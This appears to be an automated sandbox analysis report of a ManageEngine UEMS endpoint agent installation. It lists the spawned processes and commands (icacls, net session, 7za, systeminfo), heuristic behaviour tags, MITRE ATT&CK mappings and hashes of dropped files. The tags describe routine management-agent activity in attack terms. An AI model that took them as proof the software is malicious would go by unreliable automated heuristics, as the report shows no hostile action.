C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FA87AEA90DBB8F726F8AAD5255F2FEA72⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:716
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:3324
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4164
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant:r "EBMSDFDP\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4240
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2860
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2868
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:5704
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2284 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:412
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5176
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:428 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *4⤵PID:3956
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll4⤵PID:1308
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *4⤵PID:5588
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe4⤵PID:5648
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *4⤵PID:3076
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll4⤵PID:2172
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *4⤵PID:3568
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *4⤵PID:6100
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml4⤵PID:412
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *4⤵PID:2356
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *4⤵PID:2540
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *4⤵PID:1356
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *4⤵PID:5232
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *4⤵PID:3016
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1476 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe4⤵
- System Location Discovery: System Language Discovery
- Gathers system information
- Modifies data under HKEY_USERS
PID:3644
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5512
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:1432 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵PID:3016
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5224 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4768
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4484
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1796
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:2032
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5592 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6060
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵PID:5584
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵PID:724
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵PID:5820
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵PID:1820
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵PID:2008
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵PID:3952
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵PID:3772
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵PID:3732
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -p processor compatibility3⤵PID:3116
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵PID:5612
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵PID:1860
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5aa771.rbs
- Size 63KB
- SHA256 fb9e9fb2bab1f9ad5030990abe3e36dd69d4ecefe0ee42380998c883fe2371cc
- MD5 5aea79ee1f20ec9358aa9b4ee665a52f
- SHA1 45193da274d0e48f609aa20c33c7e5bcfe8e633f
- SHA512 4a0df3f1fb84f19a20fdff59e49558ffe89d82e36f47ed4bbc3b22938fa4d45da1e59d53c0af7519fb9244759672852625b1dc8ff4a4135ccb08b73931da52d5
- SSDEEP 768:cJcvw1oOjihMzYXyjDO+GLUtjLMCeqO6e7iNi64I5BVbx:J8oGihXUDO+JpYYawbx
- TLSH T186537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e5aa777.rbs
- Size 546B
- SHA256 0dffabf61a121f9ee3fc42ca3ab8c341e79bba2bf067e7e80e855016e1d82bf8
- MD5 debcb182e69ee18e9f1d983431937d84
- SHA1 c40ad009103985b50d70137cc26ceea688aaecd5
- SHA512 bf60aca47a4a8b81ca8500ce53e7b7ec1e0bc819198c4e9a19fcc4eb89b3d97e4a8bfe8aa63b7e7090b5f05a55d067f65434c0ba6be5c435434f6d9ca55bc03f
- TLSH T1B6F00E93F70C46F2D1A02A3712030F511A2BE03A919483342E4C32306D2630A6EBA1CC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 3dc8598a8bff19e60bef64ea0855cd85bd47dfae6a72a602e25830080e6885e1
- MD5 7b8d91834491b946194127ee650335da
- SHA1 d04705c51d388213933c522e83e34ff119d5baad
- SHA512 7b02e31ce37d5495d4ce5f4d41bd0780c164dfff9e3c56b4add28d571aaacb049b0c8b96ab1c36536f29b3b09b77748cc5ad1b3bd2023866234cd2485361b00b
- TLSH T17C217473005C94C0BC61AE69C2AC1C16E0C8CF895EEC361FF5B4D1D80D407AEB90A1E2
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc5728.tmp
- Size 5KB
- SHA256 c1fbcccc11ccb39104dbb8c75af09ba0d049a4a22905e1d3376ba3fed7af461b
- MD5 77ab53d59940b60803e6c4bf84627c22
- SHA1 620939fe359f5f4584153aed5a17f566af0046b8
- SHA512 12e33fd37fb180766f3f395dcec79c419cc97cd4625effa8c76298d9c25b351e296ab99402fea801005bea12370278221afef3fe3a645286c4df39f4ffeff1f2
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFbEiahoW/EAA:gUGHElZhtgZzA
- TLSH T111B14110B0A28F7913B17B5C995AEA55CD1506A1361A1E09F02D39A70B3EFC239B74F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc720.tmp
- Size 190B
- SHA256 5bbad2d06cab645dc0315fc18efb19afa6ef15b04c435d646dab52cc7cd87c20
- MD5 50cdd85d2aa1c925a6bd0e263fd47e12
- SHA1 2a1ea25dd8f31b831d9acd8c6eb2e7e6096244ca
- SHA512 995dd77db93589689641e2c81244770808eead33a9007b9ea3da5d41847eaf1e87af3817fe4f16341fb695b9715044c1960ac57385891eb2f99eb338c92aa114
- TLSH T1D9C0229915C668A5048561048C26372080C8E45C2422E88C439801A30A16885B48199E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 0c1874ed0b16b12d4adbb56a89a009a7647337fa509bc90ff00189d92dd46925
- MD5 4d3c1bffc7d1cb8f9539d3d5856646e2
- SHA1 c33c0a5de8dfb721024e8bf35884a0becc4c4041
- SHA512 8e5f6eae54d3d8d936a73be54b3f9508191eaa4e4d8c72b80de6df666749fccfd3ed66d29a4af80bcf7364ed5ebe9afaf8cfcd598cb0e0d68bfeafe2b84d6ca1
- SSDEEP 24576:+cyxh7By5I3a+m8H/v9rgC1zCjz/qNdChzDsa4X+we:+cU7Ssa+m09UAWzKRa0e
- TLSH T19F05AE127BE5D0BBD25211318B1DBBF691F993680B2448CB67808F5C7B319D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 8f695827d5da38e3212f12a793d7edd812c988377e8d9dd705c0c05054c60eab
- MD5 25373dbd9ee688b020e82bdee137d004
- SHA1 ad2724eab9af8c5e3abcbbccc0e30fd066026262
- SHA512 29807698c145cba23e442048fc8982afbb66da8fad448392e130eabc328eb81fa0f09b1aab67cad1fd1a28f6927e18180e0df8d52409a11960628e1f63d9f696
- SSDEEP 49152:oBFbCjco4g+HbEiuNIRym0ez9KyVkQ1jGsAisPvEzUmoT4qG9Ad4vfqUhcFkF:qFb+cFEiumRzl4yVkGjGsbMXx4v
- TLSH T1F9E59E07FB87D1B1DD8E027811F69B7F4D3A8E148B24C9D39B9028AED8761D0563A36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
- Size 174B
- SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
- MD5 c98570a2004587ccac5ac6de21859690
- SHA1 0726125790986ab8034cc4bfb6c87e48f6d908e3
- SHA512 5ca2548e689e32a22b4f12f578dc1309783d9834d82aaa82d489f3cf727e6e6ea2712b1c848452af50f39416eed6cb07d525a158a1a95102a56efb283228baba
- TLSH T1DBC08C6A4634F92F6C021F632B2006412FF502E12068A00CE0CF3F00161004FE30A306
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 459KB
- SHA256 164bbf4957fc038c81f91a9f524be23ba0efe669743c20a81a327a7a82772e37
- MD5 bd6830ac847d73a6e7fa3546b2bdaef2
- SHA1 0a6be17ab3bdd3e1b1b0f4b5bd4ffd735a5d5c62
- SHA512 0c950f18bb25b92e256441cfe0479687252ec74a866c07975157f0d82148cf6ac9354460732e11658cfe1f71a9ca8e334b69f6d87637dd3be3106526b855ae42
- SSDEEP 12288:TKaInplDFACLFsvMcJsUAKF/z5xG6U+w79:epnplZ7svgUJ7bs9
- TLSH T13FA48F117545C036D5BE11B10669AFB57ABDAE300FAA08CB93C85D3F4A741C27B36E2E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
- Size 1.6MB
- SHA256 4653b5fcf1a5b647730a61f8149bbf76ad25711dacc0e3d9aa5e2609499e389f
- MD5 de5cf867faab8ddab246b2d05a35c10c
- SHA1 9d5cc3592a4da9fe7ae7305a4b0efab918cc4b27
- SHA512 a4e05dce500e9bef91258af547da77422cf5e7e7971fc22fa87529b65c7304da5bb06672a9ec72c2fe8e35cfb35671e589c3ff22f283aeb673b4949de88b57ae
- SSDEEP 49152:pvbUARdxQ64B6ii+QC8M7lYPZPwDKOeSop:pvFRdSYZPwDKOQ
- TLSH T122756D317981C036F6A212B259BCBF755BECD5340B6505DB53D80E3E9BA02C36A31A6F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker_Temp.exe
- Size 567KB
- SHA256 e6eab9dac5ce954d987fbcb833e00b4f9cee56f021395125abecd897d0e1c546
- MD5 b74d111d45b9733a45a195c409335f19
- SHA1 2198b9007524413cb8a4ff810fe845f1598d4ac0
- SHA512 bbc19bb45a4c6a3b13435cbbc2c3319cc7ec257fed047ddfa34be7eb1dec01bb8428522e1b64879a115f413d17524b4340cf6166b8cc83becb41201640a8daf0
- SSDEEP 12288:YOHP4P2qU1YYiavV6x9kkWVm9NaRM3DDjxdAyButi7:YOgP2qCLMWVm9GgDDj94i7
- TLSH T1C9C49D15F5409437E1A251F1497CEB78656DF9304BAF09C7B3C88E695A30AC3BB3263A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 5795a796e0aad7012072372c05f9a078e050eb4e9107b67a8d696e63b252f1c8
- MD5 9f9be678bcb37b3cc164f6c05484fb2c
- SHA1 a9dac245fcb8ead402651f3b4c77e72a0a6c92fe
- SHA512 e6e29a9c8508b7b10c7b6ff13b01de0a9f90d766f5c3d655575111f3e204ee344d3aac23a1342e673dac882686b93ce79f18cd1621145b5ec1a69172ae0a02ab
- SSDEEP 6144:eYerSzjG+FvQlPDJiJ1MBlHBIKCKd7DJ0d:eyTFvoDJiLp7YI
- TLSH T157349E61B5D0C032D872143749B8DBB56A7DB9200B7699CF63984E7FDF302C29B31A5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentupgrader_temp.exe
- Size 6.2MB
- SHA256 89a2df9972bc6dd36f7e4800341de07a3d81a0be52ba2b5a09042d075013c624
- MD5 7ea61e516c101efaa2311b2d6c486ecc
- SHA1 045fa0e415bcdd57f6a15a928ba941e86db90a00
- SHA512 db66646fb2eb7e8f08d5068cba4c3967f3601ecd3aade2351783879a875f5f79c3a1ff80015b949e3b85dc44d463ee0adcb3f617c4efecc405c92755ee158d24
- SSDEEP 98304:IFdefN5LWaq3PYE3iO72E8XL1fv4FH4TW/JYCV:IFdqN5i3wU72E8fAqMV
- TLSH T1CF66AE02B783C071EAD2027449B5BBBB197EEE104F35C6C7A3903A6D9C726C19937769
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties5728.tmp
- Size 140KB
- SHA256 5360d7a48df73440dd2a84ddde80f28dac451c557f72bcaee6eb826fbf7bb446
- MD5 c347d5e2288ab9ec198857e01edad855
- SHA1 ce7c3a8bfcf7aae4fc9a20f0f7c3b0fd4b98148a
- SHA512 750ae25dcb628e707b89194885da99d7aad477520a55e2056dd5c221f08253732fb9b14fd0177b9f8590f5300afe13cbbf0f2e77d0966eae71a2cee8a7b428e2
- SSDEEP 3072:TpfCA7eTk7RaCwyKlWF/VPKWlAZaE09XhQPl1mWB9L6K5Skt8kRKSN:tfCA7M2RaCwyKlAVPKcAv5SC8kRK4
- TLSH T1E8E3A41AE1656B7E37C6132BF0392FD076B20D588701A9E87898E4F4E63D98121B75F3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-2304238888-3968896904-642854331-1000\Win32_Certificate.json
- Size 30KB
- SHA256 30c263d6f1b2fc65f29ad56497137499fe316dce5b782f86adaa05ff3c05a958
- MD5 2e3b9ab994fe2229e5c820f93e23b32a
- SHA1 5ae0a1a6fc356bfe251f80ea7da7ee4002b4e8ac
- SHA512 b8304a8613fe3e9cbb36f438abf42bbc0da944559416b0f1c07adc873a397daa01fd83bbc611ad8e41ec04b5cf0827e780b199fece699f243a2d7efbd4094d5d
- SSDEEP 384:Tdk+LO1Wp1rcblZwVb+1dPxPtd8Zcqaab1HkzJHgmD/Yygk0+dCdCDwCnCiCJCDl:mPt2Zcq/6V
- TLSH T1B0D2BBCF726DC950A85991992132D8F2B10FFF5E46C95CC138C1A3AA9A4FB2172783D7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-2304238888-3968896904-642854331-1000\Win32_Printer.json
- Size 586B
- SHA256 d8c67438c14fd1fa038ff1a7d72db6b92f5a8bb71980f7bd0d97ce33ea66fe07
- MD5 e244065be2127e966040c823887ff91d
- SHA1 5822c1dc8cabefffcc849198aaee7717cfc5eacb
- SHA512 bc7a5220fee9c923435320d419af4ebee4a716af54a46259b9eef0f7a859f1ca686c21b4b9f675a7274e62ba3267ef5c1b1e14330171d18addc35816148b2613
- TLSH T10CF0DAE3B24EE492211866401CF0ECD1D69FCFAD83D598F471441B829EDF929A334349
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-2304238888-3968896904-642854331-1000\Win32_Product.json
- Size 854B
- SHA256 1296c84072c78326a50085cb8071368870a240ab4dada65a1da6bf14d9ee83e0
- MD5 703a34e3a606c6872d7d958a4c751868
- SHA1 97f7750c330d9b9557f22bafbb6bc290b08ddaa8
- SHA512 fb2096bf4a29d0a74e3138d87c8cc3f91e2c1f7d0a559fab68b54d8f33d95c74eb0e111fb14775019471f1fde2b968c792e423b92f48bc111618ea776adcb592
- TLSH T11A019E93F60FC8E5A82934044679E8C18B4FEF7F820989C43E10136798DE06687FD390
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\InvDB\UserComp\S-1-5-21-2304238888-3968896904-642854331-1000\win32_MappedLogicalDisk.json
- Size 82B
- SHA256 acf95c6a501cae3967eb0373b0d7e9fd73fc24095aff0f49184df422cf85f174
- MD5 ba91f258a369c16df7c5bf21afe8d0dc
- SHA1 579ecf354e68f177dfcf0f6ac4f620d9e174d9ce
- SHA512 5e02128ee609d17b884058ef1fc4b2b79e1d690e50d1e50e6c51a4fe1122aad437326e43e48f1bbb69a6cc590bf506aa2b181d4f3bc6f533876ea8ec80b5b9fc
- TLSH T103A012423194054426904C05946198C04F818A5AC3A250D10420244159E0494F004988
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
- Size 15KB
- SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
- MD5 cf5799838289c42502297f17ca89b49b
- SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
- SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
- SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
- TLSH T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml
- Size 267KB
- SHA256 2b74bdcb7d9172e2a8ab00c71226221904891e3e951ab96405485f99c994de8d
- MD5 07c2e840c1057990a23a3e6b6eb2a7e7
- SHA1 af9f61a3eb7079c38865ab2384c38400cff3645d
- SHA512 f03bb9d1a2ecd1544c78f86f37ba30798723f8bdafea6725fc591f70ff319bdaeee0eae4f5f9d1483f399fd266184e1985216498b71f0dc776d1f033b61c8681
- SSDEEP 768:HtfVQuZ14/++C1TFgSNwb2MxoH9rDT95+E4XBNv2pWc2twcIMgGIbMQnKXjUEAaQ:HtfzZZ1uSNA7YTo2aO1
- TLSH T1D34407969DFEAC53E2D4091C8E921C087D9A4B874DC918A535BC3BE4FF634C341A72B9
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
- Size 413KB
- SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
- MD5 a450789f0d23503c895bafaed3d4be27
- SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
- SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
- SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
